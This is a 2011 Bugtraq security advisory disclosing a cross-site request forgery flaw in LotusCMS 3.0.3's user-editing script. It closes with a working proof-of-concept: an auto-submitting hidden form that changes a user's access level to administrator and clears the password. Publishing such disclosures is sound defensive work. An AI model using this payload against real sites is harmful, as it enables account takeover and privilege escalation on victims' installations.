bugtraq - HTB22886: XSRF (CSRF) in LotusCMS

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Message-Id: <201103151341.p2FDfaRN053006@htbridge.ch>
Date: Tue, 15 Mar 2011 14:41:36 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22886: XSRF (CSRF) in LotusCMS

Vulnerability ID: HTB22886
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_lotuscms.html
Product: LotusCMS
Vendor: Arboroia Network ( http://www.lotuscms.org/ ) 
Vulnerable Version: 3.0.3 and probably prior versions
Vendor Notification: 01 March 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "core/model/UsersModel.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php?system=Users&page=edit&active=USERNAME" method="post" name="main">
<input type="hidden" name="name" value="test">
<input type="hidden" name="email" value="email@...mple.com">
<input type="hidden" name="password1" value="">
<input type="hidden" name="password2" value="">
<input type="hidden" name="access" value="administrator">
</form>
<script>
document.main.submit();
</script>